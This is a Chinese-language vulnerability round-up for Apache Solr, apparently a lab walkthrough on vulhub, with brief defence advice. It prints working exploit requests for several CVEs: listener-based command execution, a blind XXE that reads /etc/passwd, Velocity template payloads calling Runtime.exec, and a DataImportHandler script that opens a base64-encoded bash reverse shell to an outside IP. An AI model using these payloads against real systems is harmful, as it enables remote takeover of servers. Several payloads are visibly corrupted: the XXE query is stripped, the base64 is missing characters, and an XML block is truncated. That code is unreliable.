Apache Solr漏洞总结

2021-04-08 20:17:09 浏览数 (1)

Apache Solr简介

代码语言:javascript复制
Apache Solr 中存储的资源是以 Document 为对象进行存储的。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:<uniqueKey>id</uniqueKey>进行描述。Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。

漏洞汇总

CVE-2017-12629 远程命令执行漏洞

漏洞简述

Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法(config路径)可以增加和修改监听器,通过RunExecutableListener执行任意系统命令。

漏洞影响版本

Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法(config路径)可以增加和修改监听器,通过RunExecutableListener执行任意系统命令。

代码语言:javascript复制
Apache Solr < 7.1
Apache Lucene < 7.1
包括
RedhatSingle Sign-On 7.0
  Redhat Linux 6.2 E sparc
  Redhat Linux 6.2 E i386
  Redhat Linux 6.2 E alpha
  Redhat Linux 6.2 sparc
  Redhat Linux 6.2 i386
  Redhat Linux 6.2 alpha
Redhat JBoss Portal Platform 6
Redhat JBoss EAP 7 0
Redhat Jboss EAP 6
Redhat JBoss Data Grid 7.0.0
Redhat Enterprise Linux 6
  Trustix Secure Enterprise Linux 2.0
  Trustix Secure Linux 2.2
  Trustix Secure Linux 2.1
  Trustix Secure Linux 2.0
Redhat Collections for Red Hat EnterpriseLinux 0
Apache Solr 6.6.1
Apache Solr 6.6
Apache Solr 6.5.1
Apache Solr 6.5
Apache Solr 6.4
Apache Solr 6.3
Apache Solr 6.2
Apache Solr 6.6
Apache Solr 6.3
Apache Solr 6.0
ApacheLucene 0

使用docker搭建的vulhub靶场

漏洞分析

RunExecutableListener类中使用了Runtime.getRuntime().exec()方法,可用于在某些特定事件中执行任意命令

使用了config API传入add-listener命令即可调用RunExecutableListener

漏洞攻击主要特征

1) 端口:8983, http 2) 路径是:/config HTTP/1.1 3) 载荷中必要特征是: Content:update-listener或create-listener Content:"event": "postCommit"(备选) Content: "class":"solr.RunExecutableListener"

漏洞复现

1.启动漏洞环境后访问 ip:8983

2.首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数

代码语言:javascript复制

POST /solr/demo/config HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 169

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","    args":["-c", "touch /tmp/cve-2017-12629"]}}

这里的“exe”,“dir”,“args”内容也都可以通过http的方式传入,所以在没有访问控制的情况下任何人都可以通过该config API 达到任意命令执行的操作

3.然后进行update操作,触发刚刚添加的listener

代码语言:javascript复制

POST /solr/demo/update HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 17

[{"id":"test"}]

4.进入容器可以发现 /tmp/ ,目录下已经成功创建了一个文件

如何进行防护

1.添加Solr访问控制,包括禁止本地直接未授权访问 2.针对RCE问题,由于涉及的是SolrCloud所以建议在所有节点中添加filter,进行相关过滤

CVE-2017-12629 XXE漏洞

漏洞简述

Apache Solr是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和Apache Lucene实现。原理基本上是文档通过Http利用XML加到一个搜索集合中

漏洞影响版本

Apache Solr < 7.1 Apache Lucene < 7.1

漏洞分析

这是一个典型的XXE漏洞的缺陷编码示例,Lucene包含了一个查询解析器支持XML格式进行数据查询,出现问题的代码片段在 /solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java 文件中

通过查看调用栈中的数据处理流程,在调用lucene xml解析器时确实没有对DTD和外部实体进行替换处理,造成了盲目XXE

漏洞复现

1.先构造一个站点,放置dtd文件(里面写要执行的代码),然后用solr去包含这个dtd站点,就会自动读取dtd文件中的文件路径

构造dtd站点,这里使用phpstudy搭建 创建一个1.dtd文件,dtd文件内容

代码语言:javascript复制
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞。

访问solr服务,触发我们的dtd文件,浏览器输入如下payload,里面的IP和文件名称根据实际情况修改,这里solr的ip为192.168.239.170,文件名称是1.dtd (payload需要进行url编码)

代码语言:javascript复制
http://192.168.239.129:8983/solr/demo/select?&q=%ext;%ent;]>&data;&wt=xml&defType=xmlparser
代码语言:javascript复制

GET /solr/demo/select?&q=%ext;%ent;]>&data;&wt=xml&defType=xmlparser HTTP/1.1
Host: 192.168.50.248:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 

CVE-2019-0193 远程命令执行漏洞

漏洞简述

漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

影响版本

Apache Solr < 8.2.0 Apache Solr 5.x - 8.2.0,存在config API版本

漏洞原理

该漏洞的产生是由于两方面的原因: 当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。 Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。 当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

漏洞复现

使用docker搭建的vulhub靶场 1.创建名为test的Core

代码语言:javascript复制
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

2.搭建好后访问页面。默认端口为8983

3.选择刚创建的 text 核心,直接构造POST请求,在/solr/test/config目录下POST请求发送以下数据 (修改Core的配置)

代码语言:javascript复制

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

3.使用EXP进行攻击

代码语言:javascript复制
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

4.成功执行系统命令

另一种执行命令的方法

1.选择刚创建好的 test 核心,选择 Dataimport 功能并选择 debug 模块,将以下POC填入(原来的删

代码语言:javascript复制

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

2.点击 Execute with this Confuguration 执行POC,发送数据包

3.执行POC成功后,进入docker容器,可以难倒 /tmp/success 已成功创建

4.反弹shell 修改POC后,点击提交按钮发送

代码语言:javascript复制

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjE2Ny8xMjM0IDA JjE=}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfi

成功反弹shell

CVE-2019-17558 远程命令执行漏洞

漏洞概述

Solr是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助Velocity模板利用该漏洞在系统上执行任意代码。

漏洞影响版本

Apache Solr 5.0.0 ~8.3.1

漏洞复现

1.访问漏洞环境 ip:8983

2.默认情况下 params.resource.loader.enabled 配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心。可以先通过如下API获取所有的核心 (在vulhub中核心就是demo)

代码语言:javascript复制
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

3.启用配置 params.resource.loader.enabled ,在url访问/solr/demo/config使用Burp抓包改成POST然后修改启动配置 (然后把Content-Type修改成application/json)

后边路径如下:/solr/获取的内核名称/config

代码语言:javascript复制

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true", 
    "params.resource.loader.enabled": "true"
  }
}

4.通过Velocity模板执行命令,如whoami。修改exec('whoami')中的代码即可更改命令。使用如下命令

代码语言:javascript复制
http://ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('whoami')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

5.成功执行系统命令

漏洞利用工具

下载地址: (https://github.com/jas502n/solr_rce) python2的环境

修复建议

1、更新到 Apache Solr 8.4或更高版本; 2、配置安全组,仅允许可信网络流量访问Solr服务。

0 人点赞